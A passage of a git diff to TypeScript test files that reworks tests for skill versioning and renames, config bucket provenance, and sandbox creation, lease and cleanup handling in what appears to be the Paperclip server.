createManagedSkillDir(companyId, "local-references-"); + await fs.writeFile(path.join(source, "SKILL.md"), "---\nname: local-references\n---\nRead reference.md\n"); + const skill = (await svc.importFromSource(companyId, source)).imported[0]!; await fs.writeFile(path.join(source, "reference.md"), "Original supporting file"); await db.update(companySkills).set({ fileInventory: [...skill.fileInventory, { path: "reference.md", kind: "reference" }], @@ -843,7 +796,7 @@ describeEmbeddedPostgres("companySkillService.list", () => { await svc.list(companyId); await svc.list(companyId); const before = await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId)); - const original = before[0]!; + const original = before.find(version => version.releaseId)!; await db.delete(companySkillVersions).where(eq(companySkillVersions.id, original.id)); await companySkillService(db).list(companyId); const after = await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId)); @@ -859,7 +812,7 @@ describeEmbeddedPostgres("companySkillService.list", () => { await db.insert(companies).values({ id: companyId, name: "Release integrity checks", issuePrefix: "RIC" }); await svc.list(companyId); await svc.list(companyId); - const [version] = await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId)); + const version = (await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId))).find(row => row.releaseId)!; const changed = [{ path: "SKILL.md", kind: "skill" as const, content: "Changed stored snapshot" }]; await db.update(companySkillVersions).set({ fileInventory: changed }).where(eq(companySkillVersions.id, version!.id)); await expect(companySkillService(db).list(companyId)).rejects.toThrow("does not match its seeded snapshot"); @@ -883,14 +836,14 @@ describeEmbeddedPostgres("companySkillService.list", () => { if (!paperclipSkill) throw new Error("Expected bundled Paperclip skill"); const versions = await svc.listVersions(companyId, paperclipSkill.id); - expect(versions.map((version) => version.releaseId).sort()).toEqual(["v0", "v7-roster"]); - expect(versions).toHaveLength(2); + expect(versions.flatMap(version => version.releaseId ? [version.releaseId] : []).sort()).toEqual(["v0", "v7-roster"]); + expect(versions).toHaveLength(3); const storedSkill = await db .select({ currentVersionId: companySkills.currentVersionId }) .from(companySkills) .where(eq(companySkills.id, paperclipSkill.id)) .then((rows) => rows[0]); - expect(storedSkill?.currentVersionId).toBeNull(); + expect(versions.some(version => version.id === storedSkill?.currentVersionId)).toBe(true); const champion = versions.find((version) => version.releaseId === "v7-roster"); expect(champion).toMatchObject({ @@ -1750,7 +1703,7 @@ describeEmbeddedPostgres("companySkillService.list", () => { const normalizedForkSlug = `${sourceType.replace("_", "-")}-skill-fork`; expect(first.skill).toMatchObject({ slug: normalizedForkSlug, - sourceType: "local_path", + sourceType: "managed", forkedFromSkillId: source!.id, }); expect(second.skill.slug).toBe(`${normalizedForkSlug}-2`); @@ -3324,7 +3277,7 @@ describeEmbeddedPostgres("companySkillService.list", () => { return `${slug}--${createHash("sha256").update(key).digest("hex").slice(0, 10)}`; } - it("renames a Paperclip-managed skill, moving the directory and rewriting SKILL.md frontmatter", async () => { + it("renames a Paperclip-managed skill by publishing new frontmatter with preserved history", async () => { const companyId = randomUUID(); await seedCompany(companyId); const skill = await svc.createLocalSkill( @@ -3332,8 +3285,6 @@ describeEmbeddedPostgres("companySkillService.list", () => { { name: "Prepare PR", slug: "prepare-pr", description: "Prep pull requests" }, { type: "user", userId: "board" }, ); - const oldDir = skill.sourceLocator!; - const managedRoot = path.dirname(oldDir); const result = await svc.renameSkill(companyId, skill.id, { name: "Ship PR", slug: "ship-pr" }); @@ -3350,10 +3301,8 @@ describeEmbeddedPostgres("companySkillService.list", () => { }, }); - const newDir = path.join(managedRoot, "ship-pr"); - expect(result.skill.sourceLocator).toBe(newDir); - await expect(fs.stat(oldDir)).rejects.toMatchObject({ code: "ENOENT" }); - const renamedMarkdown = await fs.readFile(path.join(newDir, "SKILL.md"), "utf8"); + expect(result.skill.sourceLocator).toBeNull(); + const renamedMarkdown = (await svc.readFile(companyId, skill.id, "SKILL.md"))!.content; expect(renamedMarkdown).toContain("name: Ship PR"); expect(renamedMarkdown).not.toContain("name: Prepare PR"); @@ -3362,16 +3311,16 @@ describeEmbeddedPostgres("companySkillService.list", () => { expect(persisted).toMatchObject({ description: "Prep pull requests" }); expect(persisted?.markdown).toBe(renamedMarkdown); const versions = await svc.listVersions(companyId, skill.id); - expect(versions).toHaveLength(1); + expect(versions).toHaveLength(2); }); - it("quotes YAML-special names while keeping stored and on-disk markdown synchronized", async () => { + it("quotes YAML-special names in both the version and metadata projection", async () => { const companyId = randomUUID(); await seedCompany(companyId); const skill = await svc.createLocalSkill(companyId, { name: "Prepare PR", slug: "prepare-pr" }); const result = await svc.renameSkill(companyId, skill.id, { name: "Ship: PR #1", slug: "ship-pr" }); - const markdown = await fs.readFile(path.join(result.skill.sourceLocator!, "SKILL.md"), "utf8"); + const markdown = (await svc.readFile(companyId, skill.id, "SKILL.md"))!.content; const persisted = await svc.getById(companyId, skill.id); expect(markdown).toContain('name: "Ship: PR #1"'); @@ -3379,7 +3328,7 @@ describeEmbeddedPostgres("companySkillService.list", () => { expect(persisted?.markdown).toBe(markdown); }); - it("supports a name-only rename that keeps the slug/key and directory", async () => { + it("supports a name-only rename that keeps the slug and key", async () => { const companyId = randomUUID(); await seedCompany(companyId); const skill = await svc.createLocalSkill( @@ -3398,7 +3347,7 @@ describeEmbeddedPostgres("companySkillService.list", () => { key: `company/${companyId}/prepare-pr`, sourceLocator: dir, }); - const markdown = await fs.readFile(path.join(dir, "SKILL.md"), "utf8"); + const markdown = (await svc.readFile(companyId, skill.id, "SKILL.md"))!.content; expect(markdown).toContain("name: Prepare Pull Request"); }); @@ -3596,21 +3545,17 @@ describeEmbeddedPostgres("companySkillService.list", () => { expect(other.paperclipSkillSync.desiredSkills).toEqual([`company/${companyId}/unrelated`]); }); - it("removes the old runtime materialization when the key/slug changes", async () => { + it("resolves a saved version by stable identity after a rename", async () => { const companyId = randomUUID(); await seedCompany(companyId); const skill = await svc.createLocalSkill(companyId, { name: "Runtime Skill", slug: "runtime-skill" }); - const managedRoot = path.dirname(skill.sourceLocator!); - const oldRuntimeDir = path.join(managedRoot, "__runtime__", runtimeSkillName(skill.key, skill.slug)); - await fs.mkdir(oldRuntimeDir, { recursive: true }); - await fs.writeFile(path.join(oldRuntimeDir, "SKILL.md"), "# stale\n", "utf8"); - - const revisionCacheRoot = path.join(managedRoot, "__runtime_cache_v1__", skill.id); - await fs.mkdir(revisionCacheRoot, { recursive: true }); - await fs.writeFile(path.join(revisionCacheRoot, "old-cache"), "stale"); - await svc.renameSkill(companyId, skill.id, { name: "Runtime Skill", slug: "runtime-renamed" }); - await expect(fs.stat(revisionCacheRoot)).rejects.toMatchObject({ code: "ENOENT" }); - - await expect(fs.stat(oldRuntimeDir)).rejects.toMatchObject({ code: "ENOENT" }); + const [before] = await svc.listRuntimeSkillEntries(companyId, { onlyKeys: new Set([skill.key]), snapshotLatest: true }); + const renamed = await svc.renameSkill(companyId, skill.id, { name: "Renamed Skill", slug: "runtime-renamed" }); + const [pinned] = await svc.listRuntimeSkillEntries(companyId, { onlyKeys: new Set([skill.key]), snapshotLatest: true, + versionSelections: new Map([[skill.key, before!.versionId!]]) }); + expect(pinned).toMatchObject({ key: skill.key, versionId: before!.versionId, runtimeName: before!.runtimeName }); + expect(await fs.readFile(path.join(pinned!.source, "SKILL.md"), "utf8")).toBe(skill.markdown); + expect(renamed.skill.currentVersionId).not.toBe(before!.versionId); }); + }); diff --git a/server/src/__tests__/config-file.test.ts b/server/src/__tests__/config-file.test.ts index 9cc9451138a..75065561848 100644 --- a/server/src/__tests__/config-file.test.ts +++ b/server/src/__tests__/config-file.test.ts @@ -91,6 +91,20 @@ describe("readConfigFile", () => { }); }); + it("preserves explicit bucket provenance without changing defaults for existing readers", () => { + for (const bucket of [undefined, "paperclip"]) { + writeConfig(configPath, { + ...minimalConfig() as object, + storage: { provider: "s3", s3: bucket === undefined ? {} : { bucket } }, + }); + expect(readConfigFile()?.storage.s3.bucket).toBe("paperclip"); + expect(readConfigFile({ includeProvenance: true })).toMatchObject({ + config: { storage: { s3: { bucket: "paperclip" } } }, + explicitStorageS3Bucket: bucket !== undefined, + }); + } + }); + it("warns about likely misspellings without stripping them", () => { const config = { ...(minimalConfig() as Record), diff --git a/server/src/__tests__/environment-cleanup-work.test.ts b/server/src/__tests__/environment-cleanup-work.test.ts index 5d71d2d4d42..29dbf953aae 100644 --- a/server/src/__tests__/environment-cleanup-work.test.ts +++ b/server/src/__tests__/environment-cleanup-work.test.ts @@ -1,3 +1,5 @@ +import { readIdleSleepSafety } from "../services/idle-sleep-safety.js"; +import { createOwnedSandbox } from "../services/sandbox-creation-operations.js"; import { mkdtemp, writeFile, rm } from "node:fs/promises"; import { tmpdir } from "node:os"; import { join } from "node:path"; @@ -7,7 +9,7 @@ import { idleWorkSnapshot } from "../services/task-admission.js"; import { randomUUID } from "node:crypto"; import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import { eq, sql } from "drizzle-orm"; -import { companies, createDb, environmentLeases, environments, type Db } from "@paperclipai/db"; +import { companies, createDb, sandboxCreationOperations, environmentLeases, environments, type Db } from "@paperclipai/db"; import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js"; import { createDeliveryWorkCoordinator } from "../services/delivery-work-coordinator.js"; import { registerEnvironmentCleanupWork } from "../services/environment-cleanup-work.js"; @@ -34,7 +36,7 @@ describe.skipIf(!support.supported)("environment cleanup scheduling", () => { await Promise.all(Array.from({ length: 6 }, () => db.execute(sql`select pg_sleep(0.01)`))); }, 90_000); beforeEach(async () => { - await db.execute(sql`TRUNCATE companies, environments CASCADE`); + await db.execute(sql`TRUNCATE sandbox_creation_operations, companies, environments CASCADE`); companyId = randomUUID(); environmentId = randomUUID(); draining = false; failing = false; errors.length = 0; await db.insert(companies).values({ id: companyId, name: "Cleanup worker", issuePrefix: "CLN" }); await db.insert(environments).values({ id: environmentId, name: environmentId, driver: "sandbox" }); @@ -99,6 +101,64 @@ describe.skipIf(!support.supported)("environment cleanup scheduling", () => { await settle(180_000); expect(inspections).toHaveBeenCalledTimes(3); await quiet(); }); + it("reconstructs a creation deadline after restart and leaves manual reconciliation quiet", async () => { + await start(); await quiet(); + await createOwnedSandbox(db, { companyId, environmentId, provider: "fixture", driverKey: "fixture", config: {}, metadata: {} }, + async () => ({ providerLeaseId: "fixture-unattached" })); + await settle(); + expect(coordinator!.nextWakeAt()).toBeGreaterThan(Date.now()); + worker!.stop(); await coordinator!.stop(); + await start(); + expect(coordinator!.nextWakeAt()).toBeGreaterThan(Date.now()); + await settle(31 * 60_000); + await vi.waitFor(async () => expect(await db.select().from(sandboxCreationOperations)).toEqual([ + expect.objectContaining({ state: "needs_reconciliation" }), + ])); + await quiet(); + }); + it("settles a deleted-company creation as manual history across restart without idle polling", async () => { + await start(); await quiet(); + await createOwnedSandbox(db, { companyId, environmentId, provider: "fixture", driverKey: "fixture", config: {}, metadata: {} }, + async () => ({ providerLeaseId: "fixture-deleted-company" })); + await db.delete(companies).where(eq(companies.id, companyId)); + await settle(31 * 60_000); + await vi.waitFor(async () => expect(await db.select().from(sandboxCreationOperations)).toEqual([ + expect.objectContaining({ state: "needs_reconciliation", metadata: expect.objectContaining({ creationReconciliationReason: "company_deleted" }) }), + ])); + await quiet(); + worker!.stop(); await coordinator!.stop(); + await start(); await quiet(); + expect(releases).not.toHaveBeenCalled(); expect(inspections).not.toHaveBeenCalled(); + const ownerId = randomUUID(); + const hold = { ownerId, draining: true, startedAt: new Date(Date.now() - 1000), expiresAt: new Date(Date.now() + 60_000), activeRuns: 0, pendingWakes: 0 }; + expect(await readIdleSleepSafety(db, () => hold, Date.now, ownerId, async () => "none")) + .toEqual({ version: 1, backgroundWork: "none" }); + await quiet(); + }); + it("verifies ordinary cleanup carrying creation provenance and stops provider polling", async () => { + const lease = await pending(); + await environmentService(db).updateLeaseMetadata(lease.id, { driver: "sandbox", creationOperationId: randomUUID() }); + await environmentService(db).releaseLease(lease.id, "failed", { cleanupStatus: "success" }); + await start(true); + expect(inspections).toHaveBeenCalledExactlyOnceWith(expect.objectContaining({ providerLeaseId: lease.providerLeaseId, + metadata: expect.objectContaining({ creationOperationId: expect.any(String) }) })); + await quiet(); + worker!.stop(); await coordinator!.stop(); + await start(true); expect(inspections).toHaveBeenCalledTimes(1); await quiet(); + }); + it("preserves a first creation signal during drain and disarms after atomic attachment", async () => { + await start(); await quiet(); draining = true; + const created = await createOwnedSandbox(db, { companyId, environmentId, provider: "fixture", driverKey: "fixture", config: {}, metadata: {} }, + async () => ({ providerLeaseId: "fixture-attached" })); + const count = reads.mock.calls.length; + await settle(60_000, false); expect(reads).toHaveBeenCalledTimes(count); + draining = false; + await environmentService(db).acquireLease({ companyId, environmentId, provider: "fixture", providerLeaseId: created.providerLeaseId, + creationOperationId: String(created.metadata!.creationOperationId), metadata: created.metadata }); + await settle(); + expect(await db.select().from(sandboxCreationOperations)).toEqual([expect.objectContaining({ state: "attached" })]); + await quiet(); + }); it("wakes on a real orphan insert, waits for its backoff, then disarms after deletion", async () => { await start(); await quiet(); const lease = await pending(); await settle(); diff --git a/server/src/__tests__/environment-runtime.test.ts b/server/src/__tests__/environment-runtime.test.ts index a4b82d7b113..324a0eda702 100644 --- a/server/src/__tests__/environment-runtime.test.ts +++ b/server/src/__tests__/environment-runtime.test.ts @@ -25,6 +25,7 @@ import { companySecrets, createDb, environmentLeases, + sandboxCreationOperations, environments, executionWorkspaces, heartbeatRuns, @@ -41,7 +42,6 @@ import { SANDBOX_CAPABILITY_KEYS, environmentRuntimeService, findReusableSandboxLeaseId, - SandboxOrphanCleanupWriteError, } from "../services/environment-runtime.ts"; import * as sandboxProviderRuntime from "../services/sandbox-provider-runtime.ts"; import * as environmentsModule from "../services/environments.ts"; @@ -865,7 +865,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => { providerLeaseId: `lifecycle-${++acquisitions}`, metadata: { remoteCwd: "/workspace" }, }; if (method === "environmentResumeLease") return { - providerLeaseId: warmProviderLeaseId, metadata: { remoteCwd: "/workspace" }, + providerLeaseId: warmProviderLeaseId, metadata: { remoteCwd: "/workspace", creationOperationId: randomUUID() }, }; if (method === "environmentDestroyLease" || method === "environmentStopLease" || method === "environmentReleaseLease") return { providerLeaseId: input.providerLeaseId, state: method === "environmentDestroyLease" ? "destroyed" : "stopped", @@ -896,6 +896,8 @@ describeEmbeddedPostgres("environmentRuntimeService", () => { await db.insert(heartbeatRuns).values({ id: nextRunId, companyId: seeded.companyId, agentId: seeded.agentId, status: "running" }); const next = await runtime.acquireRunLease({ ...input, environment: warmEnvironment, heartbeatRunId: nextRunId }); expect(next.lease.providerLeaseId).toBe(warmProviderLeaseId); + expect(next.lease.heartbeatRunId).toBe(nextRunId); + expect(next.lease.id).not.toBe(warm.lease.id); expect(acquisitions).toBe(2); expect((await environmentService(db).getById(environment.id))?.config.reuseLease).toBe(false); }); @@ -1192,32 +1194,12 @@ describeEmbeddedPostgres("environmentRuntimeService", () => { expect(execution).toMatchObject({ environmentAcquisitionPhase: "shell", environmentAcquisitionElapsedMs: 300_000, environmentAcquisitionBudgetMs: 300_000 }); } else expect(execution).not.toHaveProperty("environmentAcquisitionPhase"); - if (mode === "inline") { - await expect(acquisition).rejects.toMatchObject({ - message: "Sandbox creation failed; allocated sandbox cleanup was confirmed.", cause: failure, - }); - } else { - await expect(acquisition).rejects.toBe(failure); - } + await expect(acquisition).rejects.toBe(failure); const rows = await db.select().from(environmentLeases).where(eq(environmentLeases.providerLeaseId, providerLeaseId)); - if (["foreign scope", "foreign environment", "foreign run", "malformed"].includes(mode)) { - expect(rows).toHaveLength(0); - expect(call.mock.calls.filter((c) => c[1] === "environmentDestroyLease")).toHaveLength(0); - return; - } - expect(rows).toHaveLength(1); - expect(rows[0]).toMatchObject({ status: mode === "inline" ? "expired" : "pending_cleanup", - cleanupStatus: mode === "inline" ? "success" : "failed", companyId: seeded.companyId, - metadata: { pluginId: seeded.pluginId, sandboxProviderPlugin: true, failedCreateCleanup: cleanup } }); - if (mode === "pending" || mode === "deleted environment") { - available = true; - if (mode === "deleted environment") { - await db.update(environmentLeases).set({ environmentId: null }).where(eq(environmentLeases.id, rows[0].id)); - } - const restarted = environmentRuntimeService(db, { pluginWorkerManager: worker }); - const persisted = await environmentService(db).getLeaseById(rows[0].id); - await expect(restarted.retryPendingSandboxTeardown({ environment: null, lease: persisted! })).resolves.toEqual({ providerLeaseId, state: "destroyed" }); - } + expect(rows).toHaveLength(0); + expect(call.mock.calls.filter(value => value[1] === "environmentDestroyLease")).toHaveLength(0); + expect(await db.select().from(sandboxCreationOperations).where(eq(sandboxCreationOperations.companyId, seeded.companyId))) + .toEqual([expect.objectContaining({ state: "pending", originalEnvironmentId: seeded.environment.id, runId: seeded.runId })]); }); it.each(["deleted receipt lost", "observation response lost", "journal write failed", "foreign observation"])( @@ -1270,8 +1252,13 @@ describeEmbeddedPostgres("environmentRuntimeService", () => { }); const worker = { isRunning: () => true, getWorker: () => ({ supportedMethods: ["environmentDestroyLease"] }), call } as unknown as PluginWorkerManager; const runtime = environmentRuntimeService(db, { pluginWorkerManager: worker }); - await expect(runtime.acquireRunLease({ companyId: seeded.companyId, environment: seeded.environment, - issueId: null, heartbeatRunId: seeded.runId, persistedExecutionWorkspace: null })).rejects.toBe(failure); + const pending = await environmentService(db).insertPendingCleanupLease({ + companyId: seeded.companyId, environmentId: seeded.environment.id, heartbeatRunId: seeded.runId, + provider: "fake-plugin", providerLeaseId: cleanup.providerLeaseId, + metadata: { ...seeded.environment.config, driver: "sandbox", pluginId: seeded.pluginId, sandboxProviderPlugin: true, failedCreateCleanup: cleanup }, + failureReason: "interrupted_sandbox_creation", + }); + await runtime.retryPendingSandboxTeardown({ environment: null, lease: pending }).catch(() => {}); const rows = await db.select().from(environmentLeases).where(eq(environmentLeases.providerLeaseId, cleanup.providerLeaseId)); expect(rows).toHaveLength(1); expect(rows[0].status).toBe("pending_cleanup"); @@ -1766,732 +1753,6 @@ describeEmbeddedPostgres("environmentRuntimeService", () => { }, ); - it("releases the remote sandbox when the lease insert rejects a foreign-company binding", async () => { - const { companyId, environment, runId } = await seedEnvironment({ - driver: "sandbox", - name: "Foreign-bound Fake Sandbox", - config: { - provider: "fake", - image: "ubuntu:24.04", - reuseLease: false, - }, - }); - - // A managed reconciliation binds the environment to another company after the - // route guard read an empty binding list. The lease insert then rejects the - // foreign-company binding with the 403 `environment_company_mismatch`. - const otherCompanyId = randomUUID(); - await db.insert(companies).values({ - id: otherCompanyId, - name: "Other Co", - issuePrefix: "OTA", - status: "active", - createdAt: new Date(), - updatedAt: new Date(), - }); - await insertForeignCompanyEnvironmentBinding(otherCompanyId, environment); - - const destroySpy = vi.spyOn(sandboxProviderRuntime, "destroySandboxProviderLease"); - try { - await expect( - runtime.acquireRunLease({ - companyId, - environment, - issueId: null, - heartbeatRunId: runId, - persistedExecutionWorkspace: null, - assertCompanyBinding: true, - }), - ).rejects.toMatchObject({ - status: 403, - details: { code: "environment_company_mismatch" }, - }); - - // The acquire records the durable pending-cleanup row before the teardown, - // so the row lands while the database is proven reachable. The successful - // teardown then releases the row to the terminal `expired` state, so no - // active or pending_cleanup row remains for the orphan. - const leaseRows = await db - .select() - .from(environmentLeases) - .where(eq(environmentLeases.environmentId, environment.id)); - expect(leaseRows).toHaveLength(1); - expect(leaseRows[0]?.status).toBe("expired"); - expect(leaseRows[0]?.cleanupStatus).toBe("success"); - - // The acquire already provisioned the remote sandbox, so it releases the - // sandbox on the rejection. Without this teardown the rejected insert leaks - // a live sandbox that no lease row tracks. The teardown carries the - // provisioned provider lease id. - expect(destroySpy).toHaveBeenCalledTimes(1); - expect(destroySpy.mock.calls[0]?.[0]?.providerLeaseId).toMatch( - new RegExp(`^sandbox://fake/${runId}/[0-9a-f-]{36}$`), - ); - } finally { - destroySpy.mockRestore(); - } - }); - - it("destroys the remote plugin sandbox when the lease insert rejects a foreign-company binding", async () => { - // The Claude login runs on a plugin-backed sandbox provider (Daytona), so this - // path is the one the login uses. It must also release the remote sandbox when - // the conditional lease insert rejects a foreign-company binding. - const pluginId = randomUUID(); - const { companyId, environment: baseEnvironment, runId } = await seedEnvironment(); - const pluginConfig = { provider: "fake-plugin", image: "fake:test", reuseLease: false }; - const environment = { - ...baseEnvironment, - name: "Foreign-bound Plugin Sandbox", - driver: "sandbox", - config: pluginConfig, - }; - await environmentService(db).update(environment.id, { - driver: "sandbox", - name: environment.name, - config: pluginConfig, - }); - await insertSandboxProviderPlugin(pluginId); - - // A managed reconciliation binds the environment to another company after the - // route guard read an empty binding list. The lease insert then rejects the - // foreign-company binding with the 403 `environment_company_mismatch`. - const otherCompanyId = randomUUID(); - await db.insert(companies).values({ - id: otherCompanyId, - name: "Other Co", - issuePrefix: "OTB", - status: "active", - createdAt: new Date(), - updatedAt: new Date(), - }); - await insertForeignCompanyEnvironmentBinding(otherCompanyId, environment); - - const workerManager = { - isRunning: vi.fn((id: string) => id === pluginId), - getWorker: vi.fn(() => ({ supportedMethods: ["environmentDestroyLease"] })), - call: vi.fn(async (_pluginId: string, method: string) => { - if (method === "environmentAcquireLease") { - return { - providerLeaseId: "plugin-lease-1", - metadata: { provider: "fake-plugin", image: "fake:test", reuseLease: false }, - }; - } - if (method === "environmentDestroyLease") { - return { providerLeaseId: "plugin-lease-1", state: "destroyed" }; - } - throw new Error(`Unexpected plugin method: ${method}`); - }), - } as unknown as PluginWorkerManager; - const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager }); - - await expect( - runtimeWithPlugin.acquireRunLease({ - companyId, - environment, - issueId: null, - heartbeatRunId: runId, - persistedExecutionWorkspace: null, - assertCompanyBinding: true, - }), - ).rejects.toMatchObject({ - status: 403, - details: { code: "environment_company_mismatch" }, - }); - - // The acquire records the durable pending-cleanup row before the teardown, - // so the row lands while the database is proven reachable. The successful - // teardown then releases the row to the terminal `expired` state, so no - // active or pending_cleanup row remains for the orphan. - const leaseRows = await db - .select() - .from(environmentLeases) - .where(eq(environmentLeases.environmentId, environment.id)); - expect(leaseRows).toHaveLength(1); - expect(leaseRows[0]?.status).toBe("expired"); - expect(leaseRows[0]?.cleanupStatus).toBe("success"); - expect(leaseRows[0]?.metadata?.remoteExecutionTermination).toMatchObject({ - companyId, runId, leaseId: leaseRows[0]!.id, providerLeaseId: "plugin-lease-1", state: "destroyed", - }); - - // The acquire provisioned the remote plugin sandbox, so it destroys the - // sandbox on the rejection. Without this teardown the rejected insert leaks a - // live sandbox that no lease row tracks. - const destroyCalls = (workerManager.call as unknown as ReturnType).mock.calls.filter( - (callArgs) => callArgs[1] === "environmentDestroyLease", - ); - expect(destroyCalls).toHaveLength(1); - expect(destroyCalls[0]?.[2]).toMatchObject({ providerLeaseId: "plugin-lease-1" }); - - await environmentService(db).update(environment.id, { driver: "local", config: {} }); - }); - - it("records a durable pending-cleanup lease when the built-in teardown fails after a foreign-company rejection", async () => { - const { companyId, environment, runId } = await seedEnvironment({ - driver: "sandbox", - name: "Foreign-bound Fake Sandbox Teardown Fail", - config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false }, - }); - const otherCompanyId = randomUUID(); - await db.insert(companies).values({ - id: otherCompanyId, - name: "Other Co Built-in", - issuePrefix: "OTC", - status: "active", - createdAt: new Date(), - updatedAt: new Date(), - }); - await insertForeignCompanyEnvironmentBinding(otherCompanyId, environment); - - // The remote teardown fails, so the acquire cannot release the sandbox - // directly. It must record a durable pending-cleanup row instead. - const destroySpy = vi - .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease") - .mockRejectedValue(new Error("teardown failed")); - try { - await expect( - runtime.acquireRunLease({ - companyId, - environment, - issueId: null, - heartbeatRunId: runId, - persistedExecutionWorkspace: null, - assertCompanyBinding: true, - }), - ).rejects.toMatchObject({ status: 403, details: { code: "environment_company_mismatch" } }); - - expect(destroySpy).toHaveBeenCalledTimes(1); - // The failed teardown left a durable pending-cleanup row that carries the - // provider lease id for a later sweep. - const rows = await db - .select() - .from(environmentLeases) - .where(eq(environmentLeases.environmentId, environment.id)); - expect(rows).toHaveLength(1); - expect(rows[0]?.status).toBe("pending_cleanup"); - expect(rows[0]?.cleanupStatus).toBe("failed"); - expect(rows[0]?.providerLeaseId).toMatch(new RegExp(`^sandbox://fake/${runId}/[0-9a-f-]{36}$`)); - } finally { - destroySpy.mockRestore(); - } - }); - - it("records the durable pending-cleanup row before it runs the inline teardown", async () => { - const { companyId, environment, runId } = await seedEnvironment({ - driver: "sandbox", - name: "Foreign-bound Fake Sandbox Write First", - config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false }, - }); - const otherCompanyId = randomUUID(); - await db.insert(companies).values({ - id: otherCompanyId, - name: "Other Co Write First", - issuePrefix: "OWF", - status: "active", - createdAt: new Date(), - updatedAt: new Date(), - }); - await insertForeignCompanyEnvironmentBinding(otherCompanyId, environment); - - // The teardown reads the lease table when it runs. A durable pending_cleanup - // row must already exist, which proves the acquire records the row before the - // teardown. This ordering closes the window the finding describes: the durable - // write lands while the database is proven reachable, before the teardown RPC - // that a database outage could otherwise interrupt. - let pendingCleanupRowsAtTeardown = -1; - const destroySpy = vi - .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease") - .mockImplementation(async () => { - const rows = await db - .select() - .from(environmentLeases) - .where(eq(environmentLeases.environmentId, environment.id)); - pendingCleanupRowsAtTeardown = rows.filter((row) => row.status === "pending_cleanup").length; - }); - try { - await expect( - runtime.acquireRunLease({ - companyId, - environment, - issueId: null, - heartbeatRunId: runId, - persistedExecutionWorkspace: null, - assertCompanyBinding: true, - }), - ).rejects.toMatchObject({ status: 403, details: { code: "environment_company_mismatch" } }); - - // The durable row already tracked the orphan when the teardown ran. - expect(pendingCleanupRowsAtTeardown).toBe(1); - expect(destroySpy).toHaveBeenCalledTimes(1); - - // The teardown succeeded, so the acquire released the row to the terminal - // `expired` state and left no pending_cleanup row. - const rows = await db - .select() - .from(environmentLeases) - .where(eq(environmentLeases.environmentId, environment.id)); - expect(rows).toHaveLength(1); - expect(rows[0]?.status).toBe("expired"); - expect(rows[0]?.cleanupStatus).toBe("success"); - } finally { - destroySpy.mockRestore(); - } - }); - - it("leaves no orphan and no error when the durable write fails but the teardown succeeds", async () => { - const { companyId, environment, runId } = await seedEnvironment({ - driver: "sandbox", - name: "Foreign-bound Fake Sandbox Write Fail Teardown Ok", - config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false }, - }); - const otherCompanyId = randomUUID(); - await db.insert(companies).values({ - id: otherCompanyId, - name: "Other Co Write Fail", - issuePrefix: "OWK", - status: "active", - createdAt: new Date(), - updatedAt: new Date(), - }); - await insertForeignCompanyEnvironmentBinding(otherCompanyId, environment); - - // Force every durable pending-cleanup write to fail, but let the teardown - // succeed. A successful teardown removes the orphan, so the acquire needs no - // durable row and raises no orphan-cleanup write error. The write-first order - // never turns a clean teardown into a failure. - const realEnvironmentService = environmentsModule.environmentService; - const factorySpy = vi - .spyOn(environmentsModule, "environmentService") - .mockImplementation((database: Parameters[0]) => { - const real = realEnvironmentService(database); - return { - ...real, - insertPendingCleanupLease: () => - Promise.reject(new Error("pending-cleanup write failed; database down")), - }; - }); - const destroySpy = vi - .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease") - .mockResolvedValue(undefined as never); - try { - // Set the retry backoff to zero, so the failed write retries never slow the - // test. - const runtime = environmentRuntimeService(db, { pendingCleanupWriteBackoffMs: 0 }); - const rejection = await runtime - .acquireRunLease({ - companyId, - environment, - issueId: null, - heartbeatRunId: runId, - persistedExecutionWorkspace: null, - assertCompanyBinding: true, - }) - .then( - () => { - throw new Error("acquireRunLease resolved but must reject"); - }, - (error: unknown) => error, - ); - - // The rejection is the original company mismatch, not an orphan-cleanup - // write error, because the teardown removed the orphan. - expect(rejection).not.toBeInstanceOf(SandboxOrphanCleanupWriteError); - expect(rejection).toMatchObject({ status: 403, details: { code: "environment_company_mismatch" } }); - expect(destroySpy).toHaveBeenCalledTimes(1); - - // No orphan remains and no durable row was needed, so the lease table is - // empty for the environment. - const rows = await db - .select() - .from(environmentLeases) - .where(eq(environmentLeases.environmentId, environment.id)); - expect(rows).toHaveLength(0); - - // The buffer holds no orphan, so a flush recovers nothing. - const flushed = await runtime.flushDeferredOrphanCleanups(); - expect(flushed).toEqual({ recovered: 0, pending: 0 }); - } finally { - destroySpy.mockRestore(); - factorySpy.mockRestore(); - } - }); - - it("records a durable pending-cleanup lease when the plugin teardown fails after a foreign-company rejection", async () => { - const pluginId = randomUUID(); - const { companyId, environment: baseEnvironment, runId } = await seedEnvironment(); - const pluginConfig = { provider: "fake-plugin", image: "fake:test", reuseLease: false }; - const environment = { - ...baseEnvironment, - name: "Foreign-bound Plugin Sandbox Teardown Fail", - driver: "sandbox", - config: pluginConfig, - }; - await environmentService(db).update(environment.id, { - driver: "sandbox", - name: environment.name, - config: pluginConfig, - }); - await insertSandboxProviderPlugin(pluginId); - const otherCompanyId = randomUUID(); - await db.insert(companies).values({ - id: otherCompanyId, - name: "Other Co Plugin", - issuePrefix: "OTD", - status: "active", - createdAt: new Date(), - updatedAt: new Date(), - }); - await insertForeignCompanyEnvironmentBinding(otherCompanyId, environment); - - const workerManager = { - isRunning: vi.fn((id: string) => id === pluginId), - getWorker: vi.fn(() => ({ supportedMethods: ["environmentDestroyLease"] })), - call: vi.fn(async (_pluginId: string, method: string) => { - if (method === "environmentAcquireLease") { - return { - providerLeaseId: "plugin-lease-2", - metadata: { provider: "fake-plugin", image: "fake:test", reuseLease: false }, - }; - } - if (method === "environmentDestroyLease") { - throw new Error("destroy failed"); - } - throw new Error(`Unexpected plugin method: ${method}`); - }), - } as unknown as PluginWorkerManager; - const runtimeWithPlugin = 